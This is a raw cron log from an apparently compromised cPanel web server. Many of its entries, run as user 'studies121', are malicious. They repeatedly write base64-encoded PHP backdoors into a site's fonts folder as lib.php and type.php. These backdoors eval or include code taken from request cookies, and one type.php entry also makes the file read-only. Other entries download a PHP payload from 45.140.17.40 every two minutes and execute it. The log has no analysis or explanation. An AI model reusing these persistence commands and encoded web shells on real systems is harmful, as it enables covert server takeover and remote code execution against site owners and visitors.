Feb 22 16:43:01 ip-184-168-122-23 CROND[1624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:43:01 ip-184-168-122-23 CROND[1623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:43:01 ip-184-168-122-23 CROND[1627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:43:01 ip-184-168-122-23 CROND[1626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:44:01 ip-184-168-122-23 CROND[1969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:44:01 ip-184-168-122-23 CROND[1971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:44:01 ip-184-168-122-23 CROND[1972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:44:01 ip-184-168-122-23 CROND[1974]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:44:01 ip-184-168-122-23 CROND[1973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:45:01 ip-184-168-122-23 CROND[2389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:45:01 ip-184-168-122-23 CROND[2390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:45:01 ip-184-168-122-23 CROND[2395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:45:01 ip-184-168-122-23 CROND[2393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:45:01 ip-184-168-122-23 CROND[2396]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Feb 22 16:45:01 ip-184-168-122-23 CROND[2397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 16:45:01 ip-184-168-122-23 CROND[2394]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 16:46:01 ip-184-168-122-23 CROND[2737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:46:01 ip-184-168-122-23 CROND[2738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:46:01 ip-184-168-122-23 CROND[2741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:46:01 ip-184-168-122-23 CROND[2745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:46:01 ip-184-168-122-23 CROND[2746]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 16:46:01 ip-184-168-122-23 CROND[2744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:47:01 ip-184-168-122-23 CROND[3063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:47:01 ip-184-168-122-23 CROND[3062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:47:01 ip-184-168-122-23 CROND[3064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:47:01 ip-184-168-122-23 CROND[3065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:48:01 ip-184-168-122-23 CROND[3379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:48:01 ip-184-168-122-23 CROND[3380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:48:01 ip-184-168-122-23 CROND[3381]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:48:01 ip-184-168-122-23 CROND[3383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:48:01 ip-184-168-122-23 CROND[3382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:49:01 ip-184-168-122-23 CROND[3728]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Feb 22 16:49:01 ip-184-168-122-23 CROND[3730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:49:01 ip-184-168-122-23 CROND[3729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:49:01 ip-184-168-122-23 CROND[3732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:49:01 ip-184-168-122-23 CROND[3733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:50:01 ip-184-168-122-23 CROND[4095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:50:01 ip-184-168-122-23 CROND[4096]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 16:50:01 ip-184-168-122-23 CROND[4102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:50:01 ip-184-168-122-23 CROND[4101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:50:01 ip-184-168-122-23 CROND[4110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:50:01 ip-184-168-122-23 CROND[4106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:50:01 ip-184-168-122-23 CROND[4107]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 16:50:01 ip-184-168-122-23 CROND[4108]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 16:50:01 ip-184-168-122-23 CROND[4109]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 16:51:01 ip-184-168-122-23 CROND[4552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:51:01 ip-184-168-122-23 CROND[4553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:51:01 ip-184-168-122-23 CROND[4554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:51:01 ip-184-168-122-23 CROND[4555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:52:01 ip-184-168-122-23 CROND[4881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:52:01 ip-184-168-122-23 CROND[4884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:52:01 ip-184-168-122-23 CROND[4885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:52:01 ip-184-168-122-23 CROND[4882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:52:01 ip-184-168-122-23 CROND[4883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:53:01 ip-184-168-122-23 CROND[5250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:53:01 ip-184-168-122-23 CROND[5254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:53:01 ip-184-168-122-23 CROND[5251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:53:01 ip-184-168-122-23 CROND[5249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:54:01 ip-184-168-122-23 CROND[5586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:54:01 ip-184-168-122-23 CROND[5587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:54:01 ip-184-168-122-23 CROND[5590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:54:01 ip-184-168-122-23 CROND[5589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:54:01 ip-184-168-122-23 CROND[5591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:55:01 ip-184-168-122-23 CROND[5910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
